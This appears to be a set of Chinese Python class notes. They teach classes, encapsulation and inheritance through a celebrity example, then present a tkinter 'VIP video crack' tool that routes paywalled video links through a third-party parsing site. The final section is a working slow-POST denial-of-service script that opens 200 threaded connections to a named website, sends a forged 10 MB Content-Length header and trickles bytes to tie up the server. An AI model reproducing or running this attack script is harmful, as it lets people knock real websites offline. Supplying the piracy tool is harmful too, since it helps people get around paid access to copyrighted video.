类:有相同属性和相同行为的聚合体(模版)
作用:编程解决现实问题,基础类{相同属性、行为},基于类创建出N的对象
例子:ppt模版,为了让你快速基于模版创建一个UI界面、动画、文字样式的ppt
class ClassName:
属性=变量描述
行为=函数描述
对象:class的实例
对象从哪来?class
作用:对象也是变量,内存管理,具体到一个事物,独立个体,可以访问模版的属性和函数
实例化次数:单例模式:1次 默认:无数次
obj = ClassName()
obj.attrs
obj.funciton()
# 抽象:明星
class Star():
# 属性:
# 1.公开属性 外部可访问
# 2.__私有属性 外部不可访问
name = ""
sex = ""
fans = ""
tag = ""
# 封装的概念:
# 1.属性私有化
__home = ""
__lover = ""
# 2.GetAndSet
def getHome(self):
return self.__home
def setHome(self,home):
self.__home = home
def getLover(self):
return self.__lover
def setLover(self,lover):
self.__lover = lover
# 类函数:不能直接通过名称引用属性
# self: 缺省参数,不用传递数据,实例对象
def basketBall(self):
print(self.name,self.sex,"篮球")
def dance(self):
print(self.name,self.sex,"舞蹈")
# 内置函数
def __init__(self,name,sex,fans): # 最高优先自调用:初始化
self.name = name
self.sex = sex
self.fans = fans
def __del__(self): # 最低自调用:收尾
self.name = ""
self.sex = ""
self.fans = ""
print("END")
def __str__(self): # print(obj)自调用,返回一个字符串
return "Star - attrs - name:"+self.name+" sex:"+self.sex
# 对象
star1 = Star("小李子","帅哥、绅士.男","1亿")
print(star1.name,star1.sex,star1.fans)
star1.basketBall()
star1.setHome("地球村")
star1.setLover("阿里客服、华为客服、百度客服")
print(star1.getHome(),star1.getLover())
star2 = Star("李小龙","帅哥、绅士.男","1亿")
print(star2.name,star2.sex,star2.fans)
star2.basketBall()
star2.setHome("中国")
star2.setLover("阿里客服、华为客服、百度客服")
print(star2.getHome(),star2.getLover())
print(star1)
子类继承父类,拥有父类的一切,继承单向继承
语法:class ChildStar(父类,父类,父类,父类,父类...................)
class ChildStar(Star):
pass # 占一行的位置,什么都不做
childStar = ChildStar("杨幂","girl","5000w")
print(childStar)
收集信息,利用第三方破解
import tkinter,re,webbrowser #thinter GUI开发,re 正则表达式,webbrowser 浏览器接口
import tkinter.messagebox as msgbox #信息提示框
from urllib import parse #地址加密urllib.prase
import urllib.parse #URL地址加密
class APP:
# 初始化GUI界面
def __init__(self,width=500,height=300,title="全网VIP视频破解"):
self.width = width
self.height = height
self.title = title
# 创建窗口,设置标题
self.root = tkinter.Tk(className=self.title)
# 创建tkinter的字符变量
# 通道选择保存
self.v = tkinter.IntVar() # int
self.v.set(1) # 赋值:1
# 访问地址保存
self.url = tkinter.StringVar() # str
# 创建容器 Frame 有定位属性,可以把内部的控制按照排版定位
frame_1 = tkinter.Frame(self.root)
frame_2 = tkinter.Frame(self.root)
# 创建控件
# 边距:ipad 内部边距 pad 外部边距 默认:像素
group = tkinter.Label(frame_1,text="暂时只有一个视频播放通道",padx=10,pady=10)
# text 文本 variable 关联变量 value 默认值
tb = tkinter.Radiobutton(frame_1,text="唯一通道",variable=self.v,value=1,width=10,height=3)
label = tkinter.Label(frame_2,text="请输入视频链接")
entry = tkinter.Entry(frame_2,textvariable=self.url,width=35)
# font 字体
# command 指令,可以捆绑一个函数响应
play = tkinter.Button(frame_2,text="播放",font=("楷体",12),width=2,height=1,command=self.video_play)
# 根据容器刚好容纳放置控件大小
frame_1.pack()
frame_2.pack()
# 栅格定位
group.grid(row=0,column=0)
tb.grid(row=0,column=1)
label.grid(row=0,column=0)
entry.grid(row=0,column=1)
play.grid(row=0,column=2,ipadx=10,ipady=10)
# 破解视频
def video_play(self):
# 第三方视频的接口
path = "http://www.wmxz.wang/video.php?url="
# re.match()匹配正则,是否满足条件
if re.match(r"https?:/{2}\w.+$",self.url.get()):
# 路径加密:把中文、特殊字符转化成二进制
ip = parse.quote_plus(self.url.get())
# 调用本地浏览器
webbrowser.open(url=path+ip)
else:
msgbox.showerror(title="错误",message="视频地址无效,请重新输入")
# 启动类
def run(self):
# 设置窗口的大小
self.root.geometry(str(self.width)+"x"+str(self.height))
# 允许用户控制窗口的大小
self.root.resizable(width=True,height=True)
# 启动窗口
self.root.mainloop()
app = APP()
app.run()
import socket # 通信
import time # 时间
import threading # 线程模块
MAX_CONN = 200 # 最大链接值
HOST = "www.bjlovedog.com" # 主机
PAGE = "/index.php" # 主机的页面
POST = 80 # 主机端口
# %s 在字符串格式化指定数据
BUF = ("POST %s HTTP/1.1\r\n"
"HOST: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n"
)%(PAGE,HOST)
sockets = [] # 保存通信对象 列表
def conn_thread(): # 创建链接对象并保存到sockets
global sockets # 标注全局变量
for i in range(0,MAX_CONN): # 迭代器:0~200 整数列表[0,1,2,3,..199]
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
# 链接函数 1 主机IP 2 主机端口
sock.connect((HOST,POST))
# 发送内容 1 内容
sock.send(BUF.encode())
# 保存
sockets.append(sock)
print("Send Buf OK!,conn=%d\n"%i)#创建链接对象的数量
except Exception as e:
# 1.手动抛出异常,打断脚本执行,抛出异常,提示具体的异常代码行
# raise e
# 2.把异常打印,不处理
print("不能和这个服务器创建链接或者发送内容Error:%s"%e)
time.sleep(10) # 睡眠时间
continue # 继续
def send_thread(): # 使用sockets内的通信对象发送消息
global sockets # 标注全局变量
while True: # 死循环
for sock in sockets:
try:
# 发送内容 1 内容
sock.send("f".encode())
print("Send Buf OK!")
except Exception as e:
# 1.手动抛出异常,打断脚本执行,抛出异常,提示具体的异常代码行
# raise e
# 2.把异常打印,不处理
print("不能和这个服务器创建链接或者发送内容Error:%s"%e)
sockets.remove(sock)
sock.colose()
continue # 继续
# 间隔2秒
time.sleep(2)
th_conn = threading.Thread(target=conn_thread,args=())
th_send = threading.Thread(target=send_thread,args=())
# 开启线程
th_conn.start()
th_send.start()